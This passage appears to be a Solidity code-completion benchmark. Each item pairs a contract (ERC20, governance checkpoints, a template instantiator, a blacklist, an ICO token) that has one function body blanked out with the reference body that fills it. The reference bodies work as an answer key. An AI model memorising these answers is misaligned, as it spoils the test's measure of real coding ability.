newVotes ) internal { uint32 blockNumber = safe32(block.number, "Forest::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
require(blockNumber < block.number, "Forest::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes;
function getPriorVotes(address account, uint blockNumber) external view returns (uint256)
/** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256)
19575
ERC20
transferFrom
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } <FILL_FUNCTION> /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
_transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true;
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool)
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool)
49036
Template
instantiate
contract Template is Ownable, SupportsInterfaceWithLookup { /** * @notice this.owner.selector ^ this.renounceOwnership.selector ^ this.transferOwnership.selector ^ this.bytecodeHash.selector ^ this.price.selector ^ this.beneficiary.selector ^ this.name.selector ^ this.description.selector ^ this.setNameAndDescription.selector ^ this.instantiate.selector */ bytes4 public constant InterfaceId_Template = 0xd48445ff; mapping(string => string) nameOfLocale; mapping(string => string) descriptionOfLocale; /** * @notice Hash of EVM bytecode to be instantiated. */ bytes32 public bytecodeHash; /** * @notice Price to pay when instantiating */ uint public price; /** * @notice Address to receive payment */ address public beneficiary; /** * @notice Logged when a new `Contract` instantiated. */ event Instantiated(address indexed creator, address indexed contractAddress); /** * @param _bytecodeHash Hash of EVM bytecode * @param _price Price of instantiating in wei * @param _beneficiary Address to transfer _price when instantiating */ constructor( bytes32 _bytecodeHash, uint _price, address _beneficiary ) public { bytecodeHash = _bytecodeHash; price = _price; beneficiary = _beneficiary; if (price > 0) { require(beneficiary != address(0)); } _registerInterface(InterfaceId_Template); } /** * @param _locale IETF language tag(https://en.wikipedia.org/wiki/IETF_language_tag) * @return Name in `_locale`. */ function name(string _locale) public view returns (string) { return nameOfLocale[_locale]; } /** * @param _locale IETF language tag(https://en.wikipedia.org/wiki/IETF_language_tag) * @return Description in `_locale`. */ function description(string _locale) public view returns (string) { return descriptionOfLocale[_locale]; } /** * @param _locale IETF language tag(https://en.wikipedia.org/wiki/IETF_language_tag) * @param _name Name to set * @param _description Description to set */ function setNameAndDescription(string _locale, string _name, string _description) public onlyOwner { nameOfLocale[_locale] = _name; descriptionOfLocale[_locale] = _description; } /** * @notice `msg.sender` is passed as first argument for the newly created `Contract`. * @param _bytecode Bytecode corresponding to `bytecodeHash` * @param _args If arguments where passed to this function, those will be appended to the arguments for `Contract`. * @return Newly created contract account's address */ function instantiate(bytes _bytecode, bytes _args) public payable returns (address contractAddress) {<FILL_FUNCTION_BODY> } }
contract Template is Ownable, SupportsInterfaceWithLookup { /** * @notice this.owner.selector ^ this.renounceOwnership.selector ^ this.transferOwnership.selector ^ this.bytecodeHash.selector ^ this.price.selector ^ this.beneficiary.selector ^ this.name.selector ^ this.description.selector ^ this.setNameAndDescription.selector ^ this.instantiate.selector */ bytes4 public constant InterfaceId_Template = 0xd48445ff; mapping(string => string) nameOfLocale; mapping(string => string) descriptionOfLocale; /** * @notice Hash of EVM bytecode to be instantiated. */ bytes32 public bytecodeHash; /** * @notice Price to pay when instantiating */ uint public price; /** * @notice Address to receive payment */ address public beneficiary; /** * @notice Logged when a new `Contract` instantiated. */ event Instantiated(address indexed creator, address indexed contractAddress); /** * @param _bytecodeHash Hash of EVM bytecode * @param _price Price of instantiating in wei * @param _beneficiary Address to transfer _price when instantiating */ constructor( bytes32 _bytecodeHash, uint _price, address _beneficiary ) public { bytecodeHash = _bytecodeHash; price = _price; beneficiary = _beneficiary; if (price > 0) { require(beneficiary != address(0)); } _registerInterface(InterfaceId_Template); } /** * @param _locale IETF language tag(https://en.wikipedia.org/wiki/IETF_language_tag) * @return Name in `_locale`. */ function name(string _locale) public view returns (string) { return nameOfLocale[_locale]; } /** * @param _locale IETF language tag(https://en.wikipedia.org/wiki/IETF_language_tag) * @return Description in `_locale`. */ function description(string _locale) public view returns (string) { return descriptionOfLocale[_locale]; } /** * @param _locale IETF language tag(https://en.wikipedia.org/wiki/IETF_language_tag) * @param _name Name to set * @param _description Description to set */ function setNameAndDescription(string _locale, string _name, string _description) public onlyOwner { nameOfLocale[_locale] = _name; descriptionOfLocale[_locale] = _description; } <FILL_FUNCTION> }
require(bytecodeHash == keccak256(_bytecode)); bytes memory calldata = abi.encodePacked(_bytecode, _args); assembly { contractAddress := create(0, add(calldata, 0x20), mload(calldata)) } if (contractAddress == address(0)) { revert("Cannot instantiate contract"); } else { Contract c = Contract(contractAddress); // InterfaceId_ERC165 require(c.supportsInterface(0x01ffc9a7)); // InterfaceId_Contract require(c.supportsInterface(0x6125ede5)); if (price > 0) { require(msg.value == price); beneficiary.transfer(msg.value); } emit Instantiated(msg.sender, contractAddress); }
function instantiate(bytes _bytecode, bytes _args) public payable returns (address contractAddress)
/** * @notice `msg.sender` is passed as first argument for the newly created `Contract`. * @param _bytecode Bytecode corresponding to `bytecodeHash` * @param _args If arguments where passed to this function, those will be appended to the arguments for `Contract`. * @return Newly created contract account's address */ function instantiate(bytes _bytecode, bytes _args) public payable returns (address contractAddress)
56705
BlackList
UnLockAddress
contract BlackList is Ownable { event Lock(address indexed LockedAddress); event Unlock(address indexed UnLockedAddress); mapping( address => bool ) public blackList; modifier CheckBlackList { require(blackList[msg.sender] != true); _; } function SetLockAddress(address _lockAddress) external onlyOwnerOrOperator returns (bool) { require(_lockAddress != address(0)); require(_lockAddress != owner); require(blackList[_lockAddress] != true); blackList[_lockAddress] = true; emit Lock(_lockAddress); return true; } function UnLockAddress(address _unlockAddress) external onlyOwner returns (bool) {<FILL_FUNCTION_BODY> } }
contract BlackList is Ownable { event Lock(address indexed LockedAddress); event Unlock(address indexed UnLockedAddress); mapping( address => bool ) public blackList; modifier CheckBlackList { require(blackList[msg.sender] != true); _; } function SetLockAddress(address _lockAddress) external onlyOwnerOrOperator returns (bool) { require(_lockAddress != address(0)); require(_lockAddress != owner); require(blackList[_lockAddress] != true); blackList[_lockAddress] = true; emit Lock(_lockAddress); return true; } <FILL_FUNCTION> }
require(blackList[_unlockAddress] != false); blackList[_unlockAddress] = false; emit Unlock(_unlockAddress); return true;
function UnLockAddress(address _unlockAddress) external onlyOwner returns (bool)
function UnLockAddress(address _unlockAddress) external onlyOwner returns (bool)
3013
BuschCoin
withdrawAltcoinTokens
contract BuschCoin is ERC20, Owned { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "BuschCoin"; string public constant symbol = "BUC"; uint public constant decimals = 6; uint256 public totalSupply = 9000000000000000; uint256 public totalDistributed = 0; uint256 public totalIcoDistributed = 0; uint256 public constant minContribution = 1 ether / 500000; // 0.000002 Eth uint256 public tokensPerEth = 0; // ------------------------------ // Token Distribution and Address // ------------------------------ // saleable 90% uint256 public constant totalIco = 8100000000000000; uint256 public totalIcoDist = 0; address storageIco = owner; // airdrop 5% uint256 public constant totalAirdrop = 450000000000000; address private storageAirdrop = 0xb9Fd798AE37cE7936D87EFe0e6e4f17997235e74; // developer 5% uint256 public constant totalDeveloper = 450000000000000; address private storageDeveloper = 0x96Ee0179A270Bc22AEb1224B4d340dF4151F50b7; // --------------------- // sale start price and bonus // --------------------- // presale uint public presaleStartTime = 1574096400; // Tuesday, 19 November 2019 00:00:00 GMT+07:00 uint256 public presalePerEth = 500000000000; // ico uint public icoStartTime = 1575306000; // Tuesday, 03 December 2019 00:00:00 GMT+07:00 uint256 public icoPerEth = 400000000000; // ico1 uint public ico1StartTime = 1576602000; // Wednesday, 18 December 2019 00:00:00 GMT+07:00 uint256 public ico1PerEth = 250000000000; // ico2 uint public ico2StartTime = 1577725200; // Tuesday, 31 December 2019 00:00:00 GMT+07:00 uint256 public ico2PerEth = 200000000000; // ico3 uint public ico3StartTime = 1579021200; // Wednesday, 15 January 2020 00:00:00 GMT+07:00 uint256 public ico3PerEth = 180000000000; // ico4 uint public ico4StartTime = 1580317200; // Thursday, 30 January 2020 00:00:00 GMT+07:00 uint256 public ico4PerEth = 150000000000; //ico start and end uint public icoOpenTime = presaleStartTime; uint public icoEndTime = 1585587600; // Tuesday, 31 March 2020 00:00:00 GMT+07:00 // ----------------------- // events // ----------------------- event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Sent(address from, address to, uint amount); // ------------------- // STATE // --------------------- bool public icoOpen = false; bool public icoFinished = false; bool public distributionFinished = false; // ----- // temp // ----- uint256 public tTokenPerEth = 0; uint256 public tAmount = 0; uint i = 0; bool private tIcoOpen = false; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { balances[owner] = totalIco; balances[storageAirdrop] = totalAirdrop; balances[storageDeveloper] = totalDeveloper; } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } modifier canDistr() { require(!distributionFinished); _; } function startDistribution() onlyOwner canDistr public returns (bool) { icoOpen = true; presaleStartTime = now; icoOpenTime = now; return true; } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; icoFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); balances[owner] = balances[owner].sub(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function send(address receiver, uint amount) public { if (balances[msg.sender] < amount) return; balances[msg.sender] -= amount; balances[receiver] += amount; emit Sent(msg.sender, receiver, amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { //owner withdraw if (msg.sender == owner && msg.value == 0){ withdraw(); } if(msg.sender != owner){ if ( now < icoOpenTime ){ revert('ICO does not open yet'); } //is Open if ( ( now >= icoOpenTime ) && ( now <= icoEndTime ) ){ icoOpen = true; } if ( now > icoEndTime ){ icoOpen = false; icoFinished = true; distributionFinished = true; } if ( icoFinished == true ){ revert('ICO has finished'); } if ( distributionFinished == true ){ revert('Token distribution has finished'); } if ( icoOpen == true ){ if ( now >= presaleStartTime && now < icoStartTime){ tTokenPerEth = presalePerEth; } if ( now >= icoStartTime && now < ico1StartTime){ tTokenPerEth = icoPerEth; } if ( now >= ico1StartTime && now < ico2StartTime){ tTokenPerEth = ico1PerEth; } if ( now >= ico2StartTime && now < ico3StartTime){ tTokenPerEth = ico2PerEth; } if ( now >= ico3StartTime && now < ico4StartTime){ tTokenPerEth = ico3PerEth; } if ( now >= ico4StartTime && now < icoEndTime) { tTokenPerEth = ico4PerEth; } tokensPerEth = tTokenPerEth; getTokens(); } } } function getTokens() payable canDistr public { uint256 tokens = 0; require( msg.value >= minContribution ); require( msg.value > 0 ); tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if ( icoFinished == true ){ revert('ICO Has Finished'); } if( balances[owner] < tokens ){ revert('Insufficient Token Balance or Sold Out.'); } if (tokens < 0){ revert(); } totalIcoDistributed += tokens; if (tokens > 0) { distr(investor, tokens); } if (totalIcoDistributed >= totalIco) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _amount) onlyOwner public { balances[owner] = balances[owner].sub(_amount); totalSupply = totalSupply.sub(_amount); totalDistributed = totalDistributed.sub(_amount); emit Burn(owner, _amount); } function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) {<FILL_FUNCTION_BODY> } function dist_privateSale(address _to, uint256 _amount) onlyOwner public { require(_amount <= balances[owner]); require(_amount > 0); totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); balances[owner] = balances[owner].sub(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); tAmount = 0; } function dist_airdrop(address _to, uint256 _amount) onlyOwner public { require(_amount <= balances[storageAirdrop]); require(_amount > 0); balances[_to] = balances[_to].add(_amount); balances[storageAirdrop] = balances[storageAirdrop].sub(_amount); emit Airdrop(_to, _amount, balances[_to]); emit Transfer(address(0), _to, _amount); } function dist_multiple_airdrop(address[] _participants, uint256 _amount) onlyOwner public { tAmount = 0; for ( i = 0; i < _participants.length; i++){ tAmount = tAmount.add(_amount); } require(tAmount <= balances[storageAirdrop]); for ( i = 0; i < _participants.length; i++){ dist_airdrop(_participants[i], _amount); } tAmount = 0; } function dist_developer(address _to, uint256 _amount) onlyOwner public { require(_amount <= balances[storageDeveloper]); require(_amount > 0); balances[_to] = balances[_to].add(_amount); balances[storageDeveloper] = balances[storageDeveloper].sub(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); tAmount = 0; } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract BuschCoin is ERC20, Owned { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "BuschCoin"; string public constant symbol = "BUC"; uint public constant decimals = 6; uint256 public totalSupply = 9000000000000000; uint256 public totalDistributed = 0; uint256 public totalIcoDistributed = 0; uint256 public constant minContribution = 1 ether / 500000; // 0.000002 Eth uint256 public tokensPerEth = 0; // ------------------------------ // Token Distribution and Address // ------------------------------ // saleable 90% uint256 public constant totalIco = 8100000000000000; uint256 public totalIcoDist = 0; address storageIco = owner; // airdrop 5% uint256 public constant totalAirdrop = 450000000000000; address private storageAirdrop = 0xb9Fd798AE37cE7936D87EFe0e6e4f17997235e74; // developer 5% uint256 public constant totalDeveloper = 450000000000000; address private storageDeveloper = 0x96Ee0179A270Bc22AEb1224B4d340dF4151F50b7; // --------------------- // sale start price and bonus // --------------------- // presale uint public presaleStartTime = 1574096400; // Tuesday, 19 November 2019 00:00:00 GMT+07:00 uint256 public presalePerEth = 500000000000; // ico uint public icoStartTime = 1575306000; // Tuesday, 03 December 2019 00:00:00 GMT+07:00 uint256 public icoPerEth = 400000000000; // ico1 uint public ico1StartTime = 1576602000; // Wednesday, 18 December 2019 00:00:00 GMT+07:00 uint256 public ico1PerEth = 250000000000; // ico2 uint public ico2StartTime = 1577725200; // Tuesday, 31 December 2019 00:00:00 GMT+07:00 uint256 public ico2PerEth = 200000000000; // ico3 uint public ico3StartTime = 1579021200; // Wednesday, 15 January 2020 00:00:00 GMT+07:00 uint256 public ico3PerEth = 180000000000; // ico4 uint public ico4StartTime = 1580317200; // Thursday, 30 January 2020 00:00:00 GMT+07:00 uint256 public ico4PerEth = 150000000000; //ico start and end uint public icoOpenTime = presaleStartTime; uint public icoEndTime = 1585587600; // Tuesday, 31 March 2020 00:00:00 GMT+07:00 // ----------------------- // events // ----------------------- event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Sent(address from, address to, uint amount); // ------------------- // STATE // --------------------- bool public icoOpen = false; bool public icoFinished = false; bool public distributionFinished = false; // ----- // temp // ----- uint256 public tTokenPerEth = 0; uint256 public tAmount = 0; uint i = 0; bool private tIcoOpen = false; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { balances[owner] = totalIco; balances[storageAirdrop] = totalAirdrop; balances[storageDeveloper] = totalDeveloper; } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } modifier canDistr() { require(!distributionFinished); _; } function startDistribution() onlyOwner canDistr public returns (bool) { icoOpen = 